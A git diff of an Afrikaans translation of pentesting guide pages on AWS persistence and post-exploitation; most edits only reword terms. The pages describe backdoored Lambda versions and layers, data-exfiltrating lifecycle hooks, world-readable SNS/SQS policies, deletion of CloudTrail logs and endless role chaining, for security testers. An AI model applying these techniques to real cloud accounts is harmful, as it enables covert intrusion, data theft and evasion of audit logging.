te behou. +Deur die **hulpbronbeleid en/of sekuriteitsgroepe** te wysig, kan jy probeer om jou toegang tot die lêerstelsel te volhard. ### Skep Toegangspunt -Jy kan **'n toegangspunt skep** (met worteltoegang tot `/`) wat toeganklik is vanaf 'n diens waar jy **ander volharding** geïmplementeer het om bevoorregte toegang tot die lêerstelsel te hou. +Jy kan **'n toegangspunt skep** (met worteltoegang tot `/`) wat toeganklik is vanaf 'n diens waar jy **ander volharding** geïmplementeer het om bevoorregte toegang tot die lêerstelsel te behou. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 62eb63e80..b006e182b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -1,4 +1,4 @@ -# AWS - Elastic Beanstalk Persistensie +# AWS - Elastic Beanstalk Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ Vir meer inligting, kyk: ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistensie in Instansie +### Volharding in Instansie -Om persistensie binne die AWS-rekening te handhaaf, kan 'n **persistensie-meganisme binne die instansie ingevoer word** (cron job, ssh sleutel...) sodat die aanvaller toegang kan verkry en IAM rol **akkrediteer van die metadata diens** kan steel. +Om volharding binne die AWS-rekening te handhaaf, kan 'n **volhardingsmeganisme binne die instansie bekendgestel word** (cron job, ssh sleutel...) sodat die aanvaller toegang kan verkry en IAM rol **akkrediteer van die metadata diens** kan steel. ### Agterdeur in Weergawe @@ -22,12 +22,12 @@ Om persistensie binne die AWS-rekening te handhaaf, kan 'n **persistensie-megani In plaas daarvan om die kode op die werklike weergawe te verander, kan die aanvaller 'n nuwe agterdeur weergawe van die toepassing ontplooi. -### Misbruik van Aangepaste Hulpbronne Lewe Siklus Hake +### Misbruik van Aangepaste Hulpbronne Levensiklus Hake > [!NOTE] > TODO: Toets -Elastic Beanstalk bied lewe siklus hake wat jou toelaat om aangepaste skripte tydens instansie voorsiening en beëindiging uit te voer. 'n Aanvaller kan **'n lewe siklus hake konfigureer om periodiek 'n skrip uit te voer wat data eksfiltreer of toegang tot die AWS-rekening handhaaf**. +Elastic Beanstalk bied levensiklus hake wat jou toelaat om aangepaste skripte tydens instansie voorsiening en beëindiging uit te voer. 'n Aanvaller kan **'n levensiklus hake konfigureer om periodiek 'n skrip uit te voer wat data uitbring of toegang tot die AWS-rekening handhaaf**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index bceb96abf..fafb47912 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -38,7 +38,7 @@ Jy kan 'n backdoor in 'n vertrouensbeleid plaas om dit te kan aanvaar vir 'n eks ``` ### Backdoor-beleid Weergawe -Gee Administrateur regte aan 'n beleid in nie sy laaste weergawe nie (die laaste weergawe moet legitiem lyk), en ken dan daardie weergawe van die beleid toe aan 'n beheerde gebruiker/groep. +Gee Administrateur toestemmings aan 'n beleid in nie sy laaste weergawe nie (die laaste weergawe moet legitiem lyk), en ken dan daardie weergawe van die beleid toe aan 'n beheerde gebruiker/groep. ### Backdoor / Skep Identiteitsverskaffer diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 310772cc2..c4e58a804 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -18,7 +18,7 @@ Vir meer inligting, kyk: Toestemmings is 'n ander manier om 'n prinsiep sekere toestemmings oor 'n spesifieke sleutel te gee. Dit is moontlik om 'n toestemming te gee wat 'n gebruiker toelaat om toestemmings te skep. Boonop kan 'n gebruiker verskeie toestemmings (selfs identies) oor dieselfde sleutel hê. -Daarom is dit moontlik vir 'n gebruiker om 10 toestemmings met al die toestemmings te hê. Die aanvaller moet dit konstant monitor. En as op 'n sekere punt 1 toestemming verwyder word, moet nog 10 gegenereer word. +Daarom is dit moontlik vir 'n gebruiker om 10 toestemmings met al die toestemmings te hê. Die aanvaller moet dit konstant monitor. En as op 'n sekere tydstip 1 toestemming verwyder word, moet nog 10 gegenereer word. (Ons gebruik 10 en nie 2 nie om te kan opspoor dat 'n toestemming verwyder is terwyl die gebruiker steeds 'n paar toestemmings het) ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 06eb48a41..2b668fa86 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -1,4 +1,4 @@ -# AWS - Lambda Persistensie +# AWS - Lambda Volharding {{#include ../../../../banners/hacktricks-training.md}} @@ -10,17 +10,17 @@ Vir meer inligting, kyk: ../../aws-services/aws-lambda-enum.md {{#endref}} -### Lambda Laag Persistensie +### Lambda Laag Volharding -Dit is moontlik om **'n laag in te voer/terugdeur te maak om arbitrêre kode uit te voer** wanneer die lambda op 'n stil manier uitgevoer word: +Dit is moontlik om **'n laag in te voer/terug te deurdring om arbitrêre kode uit te voer** wanneer die lambda op 'n stil manier uitgevoer word: {{#ref}} aws-lambda-layers-persistence.md {{#endref}} -### Lambda Uitbreiding Persistensie +### Lambda Uitbreiding Volharding -Deur Lambda Lae te misbruik, is dit ook moontlik om uitbreidings te misbruik en in die lambda te bly, maar ook versoeke te steel en te wysig. +Deur Lambda Lae te misbruik, is dit ook moontlik om uitbreidings te misbruik en in die lambda volharding te hê, maar ook versoeke te steel en te wysig. {{#ref}} aws-abusing-lambda-extensions.md @@ -36,19 +36,19 @@ Dit is moontlik om toegang tot verskillende lambda aksies (soos aanroep of kode 'n Lambda kan **verskillende weergawes** hê (met verskillende kode in elke weergawe).\ Dan kan jy **verskillende aliasse met verskillende weergawes** van die lambda skep en verskillende gewigte aan elkeen toeken.\ -Op hierdie manier kan 'n aanvaller 'n **terugdeur weergawe 1** en 'n **weergave 2 met slegs die wettige kode** skep en **slegs die weergawe 1 in 1%** van die versoeke uitvoer om stil te bly. +Op hierdie manier kan 'n aanvaller 'n **terugdeur weergawe 1** en 'n **weergawe 2 met slegs die wettige kode** skep en **slegs die weergawe 1 in 1%** van die versoeke uitvoer om stil te bly.
-### Weergave Terugdeur + API Gateway +### Weergawe Terugdeur + API Gateway 1. Kopieer die oorspronklike kode van die Lambda -2. **Skep 'n nuwe weergawe wat die** oorspronklike kode terugdeur maak (of net met kwaadwillige kode). Publiseer en **ontplooi daardie weergawe** na $LATEST +2. **Skep 'n nuwe weergawe wat die** oorspronklike kode terugdeur (of net met kwaadwillige kode). Publiseer en **ontplooi daardie weergawe** na $LATEST 1. Roep die API-gateway wat met die lambda verband hou aan om die kode uit te voer -3. **Skep 'n nuwe weergawe met die oorspronklike kode**, Publiseer en ontplooi daardie **weergave** na $LATEST. +3. **Skep 'n nuwe weergawe met die oorspronklike kode**, Publiseer en ontplooi daardie **weergawe** na $LATEST. 1. Dit sal die terugdeurkode in 'n vorige weergawe verberg 4. Gaan na die API Gateway en **skep 'n nuwe POST-metode** (of kies enige ander metode) wat die terugdeur weergawe van die lambda sal uitvoer: `arn:aws:lambda:us-east-1::function::1` -1. Let op die finale :1 van die arn **wat die weergawe van die funksie aandui** (weergave 1 sal die terugdeur een in hierdie scenario wees). +1. Let op die finale :1 van die arn **wat die weergawe van die funksie aandui** (weergawe 1 sal die terugdeur een in hierdie scenario wees). 5. Kies die POST-metode wat geskep is en in Aksies kies **`Ontplooi API`** 6. Nou, wanneer jy **die funksie via POST aanroep, sal jou Terugdeur** geaktiveer word @@ -57,8 +57,8 @@ Op hierdie manier kan 'n aanvaller 'n **terugdeur weergawe 1** en 'n **weergave Die feit dat jy **lambda funksies kan laat loop wanneer iets gebeur of wanneer 'n tyd verbygaan** maak lambda 'n goeie en algemene manier om volharding te verkry en opsporing te vermy.\ Hier is 'n paar idees om jou **teenwoordigheid in AWS meer stil te maak deur lambdas** te skep. -- Elke keer wanneer 'n nuwe gebruiker geskep word, genereer lambda 'n nuwe gebruikerssleutel en stuur dit na die aanvaller. -- Elke keer wanneer 'n nuwe rol geskep word, gee lambda aanneemrol toestemmings aan gecompromitteerde gebruikers. -- Elke keer wanneer nuwe cloudtrail logs gegenereer word, verwyder/wysig hulle +- Elke keer as 'n nuwe gebruiker geskep word, genereer lambda 'n nuwe gebruikerssleutel en stuur dit na die aanvaller. +- Elke keer as 'n nuwe rol geskep word, gee lambda aanneem rol toestemmings aan gecompromitteerde gebruikers. +- Elke keer as nuwe cloudtrail logs gegenereer word, verwyder/wysig hulle {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 26feb4028..8ba3958d3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -28,7 +28,7 @@ Die veranderlike **`AWS_LAMBDA_RUNTIME_API`** dui die **IP** adres en **poort** > [!WARNING] > Deur die **`AWS_LAMBDA_RUNTIME_API`** omgewing veranderlike na 'n **`poort`** wat ons toegang tot het, is dit moontlik om alle aksies binne die Lambda-runtime te onderskep (**man-in-the-middle**). Dit is moontlik omdat die uitbreiding met dieselfde voorregte as Rapid Init loop, en die stelselkern toelaat **modifikasie van prosesgeheue**, wat die verandering van die poortnommer moontlik maak. -Omdat **uitbreidings voor enige runtime-kode loop**, sal die modifikasie van die omgewing veranderlike die runtime-proses (bv. Python, Java, Node, Ruby) beïnvloed soos dit begin. Verder, **uitbreidings wat na** ons gelaai word, wat op hierdie veranderlike staatmaak, sal ook deur ons uitbreiding lei. Hierdie opstelling kan malware in staat stel om sekuriteitsmaatreëls of registrasie-uitbreidings heeltemal te omseil direk binne die runtime-omgewing. +Omdat **uitbreidings voor enige runtime-kode loop**, sal die aanpassing van die omgewing veranderlike die runtime-proses (bv. Python, Java, Node, Ruby) beïnvloed soos dit begin. Verder, **uitbreidings wat na** ons gelaai word, wat op hierdie veranderlike staatmaak, sal ook deur ons uitbreiding lei. Hierdie opstelling kan malware in staat stel om sekuriteitsmaatreëls of registrasie-uitbreidings heeltemal te omseil direk binne die runtime-omgewing.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index c6d9bced4..e861b0d2a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -1,20 +1,20 @@ -# AWS - Lambda Layers Persistence +# AWS - Lambda Laag Persistensie {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Layers +## Lambda Lae -'n Lambda-laag is 'n .zip-lêerargief wat **addisionele kode** of ander inhoud **kan bevat**. 'n Laag kan biblioteke, 'n [aangepaste runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data of konfigurasielêers bevat. +'n Lambda-laag is 'n .zip-lêerargief wat **addisionele kode** of ander inhoud **kan bevat**. 'n Laag kan biblioteke, 'n [aangepaste runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, of konfigurasielêers bevat. -Dit is moontlik om tot **vyf lae per funksie** in te sluit. Wanneer jy 'n laag in 'n funksie insluit, word die **inhoud na die `/opt`** gids in die uitvoeringsomgewing **onttrek**. +Dit is moontlik om tot **vyf lae per funksie** in te sluit. Wanneer jy 'n laag in 'n funksie insluit, word die **inhoud na die `/opt`** gids in die uitvoeringsomgewing **uitgepak**. Deur **standaard** is die **lae** wat jy skep **privaat** vir jou AWS-rekening. Jy kan kies om 'n laag met ander rekeninge te **deel** of om die laag **publiek** te **maak**. As jou funksies 'n laag gebruik wat 'n ander rekening gepubliseer het, kan jou funksies **voortgaan om die laag weergawe te gebruik nadat dit verwyder is, of nadat jou toestemming om toegang tot die laag te verkry, ingetrek is**. Jy kan egter nie 'n nuwe funksie skep of funksies opdateer wat 'n verwyderde laag weergawe gebruik nie. -Funksies wat as 'n houerbeeld ontplooi word, gebruik nie lae nie. In plaas daarvan, pak jy jou verkiesde runtime, biblioteke en ander afhanklikhede in die houerbeeld wanneer jy die beeld bou. +Funksies wat as 'n houerbeeld ontplooi word, gebruik nie lae nie. In plaas daarvan, pak jy jou verkiesde runtime, biblioteke, en ander afhanklikhede in die houerbeeld wanneer jy die beeld bou. -### Python load path +### Python laai pad -Die laai-pad wat Python in lambda sal gebruik, is die volgende: +Die laai pad wat Python in lambda sal gebruik, is die volgende: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` @@ -55,7 +55,7 @@ En dit is die lys van **biblioteke** wat **lambda standaard ingesluit het**: [ht In hierdie voorbeeld kom ons veronderstel dat die geteikende kode **`csv`** invoer. Ons gaan die **invoer van die `csv` biblioteek backdoor**. Om dit te doen, gaan ons die **gids csv** skep met die lêer **`__init__.py`** daarin in 'n pad wat deur lambda gelaai word: **`/opt/python/lib/python3.9/site-packages`**\ -Dan, wanneer die lambda uitgevoer word en probeer om **csv** te laai, sal ons **`__init__.py` lêer gelaai en uitgevoer word**.\ +Dan, wanneer die lambda uitgevoer word en probeer om **csv** te laai, sal ons **`__init__.py` lêer gelaai en uitgevoer** word.\ Hierdie lêer moet: - Ons payload uitvoer @@ -100,7 +100,7 @@ Let ook daarop dat die **maksimum aantal lae wat 'n lambda kan hê 5 is**. Daarom, om die veelsydigheid van hierdie tegniek te verbeter, kan 'n aanvaller: -- 'n Buitelug in 'n bestaande laag van die gebruiker (niks is ekstern) +- 'n Buitelander in 'n bestaande laag van die gebruiker (niks is ekstern) - **Skep** 'n **laag** in **sy rekening**, gee die **slagoffer rekening toegang** om die laag te gebruik, **konfigureer** die **laag** in die slagoffer se Lambda en **verwyder die toestemming**. - Die **Lambda** sal steeds in staat wees om die **laag** te **gebruik** en die **slagoffer sal** nie enige maklike manier hê om die **laag se kode af te laai** (behalwe om 'n rev shell binne die lambda te kry) - Die slagoffer **sal nie eksterne lae** sien wat gebruik word met **`aws lambda list-layers`** diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 3bfc1378e..56edc67c0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -12,21 +12,21 @@ Vir meer inligting, kyk: ### Laai Instansie SSH sleutels & DB wagwoorde af -Hulle sal waarskynlik nie verander word nie, so om hulle te hê is 'n goeie opsie vir persistensie +Hulle sal waarskynlik nie verander word nie, so om hulle te hê is 'n goeie opsie vir volharding ### Agterdeur Instansies 'n Aanvaller kan toegang tot die instansies verkry en hulle agterdeur: -- Gebruik 'n tradisionele **rootkit** byvoorbeeld -- Voeg 'n nuwe **publieke SSH-sleutel** by -- Stel 'n poort bloot met poortklop met 'n agterdeur +- Deur 'n tradisionele **rootkit** te gebruik +- 'n Nuwe **publieke SSH-sleutel** by te voeg +- 'n Poort bloot te stel met poortklop met 'n agterdeur -### DNS persistensie +### DNS volharding As domeine gekonfigureer is: -- Skep 'n subdomein wat jou IP aandui sodat jy 'n **subdomein oorneem** sal hê +- Skep 'n subdomein wat jou IP aanwys sodat jy 'n **subdomein oorneem** sal hê - Skep **SPF** rekord wat jou toelaat om **e-posse** van die domein te stuur - Konfigureer die **hoofdomein IP na jou eie** en voer 'n **MitM** uit van jou IP na die wettige een diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 0e1825177..48418c48e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -1,4 +1,4 @@ -# AWS - RDS Persistensie +# AWS - RDS Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a ``` ### Skep 'n admin gebruiker binne die DB -'n Aanvaller kan eenvoudig **'n gebruiker binne die DB skep** sodat selfs as die meester gebruiker se wagwoord gewysig word, hy **nie die toegang verloor** tot die databasis nie. +'n Aanvaller kan eenvoudig **'n gebruiker binne die DB skep** sodat selfs as die meester gebruiker se wagwoord gewysig word, hy **nie die toegang tot die databasis verloor nie**. ### Maak snapshot publiek ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index ad68f8c9a..b84765fa9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -1,4 +1,4 @@ -# AWS - S3 Persistensie +# AWS - S3 Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ Vir meer inligting, kyk: ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS Kliënt-Syde Enkripsie +### KMS Kliëntkant Enkripsie -Wanneer die enkripsieproses voltooi is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal **die gegenereerde enkripteerde sleutel binne die metadata** van die lêer stoor ([python code voorbeeld](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat wanneer die ontsleuteling plaasvind, dit dit weer met KMS kan ontsleutel: +Wanneer die enkripsieproses voltooi is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal **die gegenereerde versleutelde sleutel binne die metadata** van die lêer stoor ([python code voorbeeld](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat wanneer die ontsleuteling plaasvind, dit dit weer met KMS kan ontsleutel:
@@ -20,6 +20,6 @@ Daarom kan 'n aanvaller hierdie sleutel uit die metadata verkry en dit met KMS o ### Gebruik van S3 ACLs -Alhoewel ACLs van emmers gewoonlik gedeaktiveer is, kan 'n aanvaller met genoeg voorregte dit misbruik (as dit geaktiveer is of as die aanvaller dit kan aktiveer) om toegang tot die S3-emmer te behou. +Alhoewel ACLs van emmers gewoonlik gedeaktiveer is, kan 'n aanvaller met genoeg regte dit misbruik (as dit geaktiveer is of as die aanvaller dit kan aktiveer) om toegang tot die S3-emmer te behou. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c416cc07a..681954ae3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -10,15 +10,15 @@ Vir meer inligting, kyk: ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Deur Hulpbronbeleide +### Deur Hulpbronne Beleid -Dit is moontlik om **toegang tot geheime te verleen aan eksterne rekeninge** deur hulpbronbeleide. Kyk na die [**Secrets Manager Privesc-bladsy**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) vir meer inligting. Let daarop dat om **toegang tot 'n geheim' te verkry, die eksterne rekening ook **toegang tot die KMS-sleutel wat die geheim enkripteer** sal benodig. +Dit is moontlik om **toegang tot geheime te verleen aan eksterne rekeninge** deur hulpbronne beleid. Kyk na die [**Secrets Manager Privesc bladsy**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) vir meer inligting. Let daarop dat om **toegang tot 'n geheim' te hê, die eksterne rekening ook **toegang tot die KMS-sleutel wat die geheim enkripteer** sal benodig. ### Deur Secrets Rotate Lambda Om **geheime** outomaties te **roteer**, word 'n geconfigureerde **Lambda** aangeroep. As 'n aanvaller die **kode** kon **verander**, kon hy direk die **nuwe geheim** na homself **uitvoer**. -Dit is hoe lambda-kode vir so 'n aksie kan lyk: +Dit is hoe lambda kode vir so 'n aksie kan lyk: ```python import boto3 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index e9bcdcddc..4f8a5b2f1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -1,4 +1,4 @@ -# AWS - SNS Persistensie +# AWS - SNS Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ Vir meer inligting, kyk: ../aws-services/aws-sns-enum.md {{#endref}} -### Persistensie +### Volharding Wanneer jy 'n **SNS onderwerp** skep, moet jy met 'n IAM-beleid **aangee wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\ Die volgende beleid gee almal in AWS toegang om te lees en te skryf in die SNS onderwerp genaamd **`MySNS.fifo`**: @@ -63,11 +63,11 @@ Die volgende beleid gee almal in AWS toegang om te lees en te skryf in die SNS o ] } ``` -### Skep Tekeninge +### Skep Intekenaars -Om voort te gaan met die eksfiltrasie van al die boodskappe van al die onderwerpe, kan die aanvaller **tekeninge vir al die onderwerpe skep**. +Om voort te gaan met die eksfiltrasie van al die boodskappe van al die onderwerpe, kan die aanvaller **intekenaars vir al die onderwerpe skep**. -Let daarop dat as die **onderwerp van tipe FIFO** is, slegs tekeninge wat die protokol **SQS** gebruik, gebruik kan word. +Let daarop dat as die **onderwerp van tipe FIFO** is, slegs intekenaars wat die protokol **SQS** gebruik, gebruik kan word. ```bash aws sns subscribe --region \ --protocol http \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index a09336ba7..86a18c4e3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -1,4 +1,4 @@ -# AWS - SQS Persistensie +# AWS - SQS Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Vir meer inligting, kyk: ### Gebruik van hulpbronbeleid -In SQS moet jy met 'n IAM-beleid **aangee wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\ +In SQS moet jy met 'n IAM-beleid **aandui wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\ Die volgende beleid gee almal in AWS toegang tot alles in die wachtrij genaamd **MyTestQueue**: ```json { @@ -32,6 +32,6 @@ Die volgende beleid gee almal in AWS toegang tot alles in die wachtrij genaamd * } ``` > [!NOTE] -> Jy kan selfs **'n Lambda in die aanvallers rekening aktiveer elke keer as 'n nuwe boodskap** in die waglyn geplaas word (jy sal dit op een of ander manier weer moet plaas). Volg hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Jy kan selfs **'n Lambda in die aanvallers rekening aktiveer elke keer as 'n nuwe boodskap** in die tou geplaas word (jy sal dit op 'n manier weer moet plaas). Volg hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index bb544ad9a..b37499c31 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -1,4 +1,4 @@ -# AWS - STS Persistensie +# AWS - STS Volharding {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Vir meer inligting, toegang: ### Neem rol token -Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om persistensie te handhaaf. +Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om volharding te handhaaf.
aws sts get-session-token --duration-seconds 129600
 
@@ -21,14 +21,14 @@ aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Hardeware toestelnaam is gewoonlik die nommer van die agterkant van die toestel, soos GAHT12345678
-# SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/gebruikersnaam
-# Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/gebruikersnaam
+# Hardeware toestelnaam is gewoonlik die nommer aan die agterkant van die toestel, soos GAHT12345678
+# SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/username
+# Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/username
 
### Rolketting Juggling -[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), wat dikwels gebruik word om stealth persistensie te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar wederkerig aan te neem, laat hierdie opstelling die perpetuele vernuwing van geloofsbriewe toe. +[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), dikwels gebruik om stealth volharding te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar onderling aan te neem, laat hierdie opstelling die perpetuele vernuwing van geloofsbriewe toe. Jy kan hierdie [**instrument**](https://github.com/hotnops/AWSRoleJuggler/) gebruik om die rolketting aan die gang te hou: ```bash @@ -40,11 +40,11 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip van daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie. +> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip uit daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie.
-Code om Rol Juggling vanaf PowerShell uit te voer +Kode om Rol Juggling uit PowerShell uit te voer ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 941a860e3..5aeb94b0d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1 +1 @@ -# AWS - Post Exploitation +# AWS - Post Exploitatie diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 1566692d8..0658577ca 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -10,25 +10,25 @@ Vir meer inligting, kyk: ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Toegang tot nie-blootgestelde API's +### Toegang tot nie-blootgestelde APIs Jy kan 'n eindpunt skep in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) met die diens `com.amazonaws.us-east-1.execute-api`, die eindpunt blootstel in 'n netwerk waar jy toegang het (potensieel via 'n EC2 masjien) en 'n sekuriteitsgroep toewys wat alle verbindings toelaat.\ Dan, vanaf die EC2 